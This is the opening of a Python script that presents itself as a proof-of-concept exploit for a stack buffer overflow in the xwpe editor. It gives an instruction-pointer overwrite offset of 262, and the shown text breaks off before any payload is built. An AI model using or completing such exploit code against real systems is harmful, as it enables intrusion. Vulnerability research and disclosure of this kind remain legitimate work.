#!/usr/bin/env python3 # Proof of Concept for CVE-2016-20037 # Vulnerability: Stack-based Buffer Overflow in xwpe # Description: This script generates a malicious payload to trigger the overflow. import os import sys # Configuration # Offset to overwrite the instruction pointer (EIP/RIP) offset = 262 # Generate payload # 1.
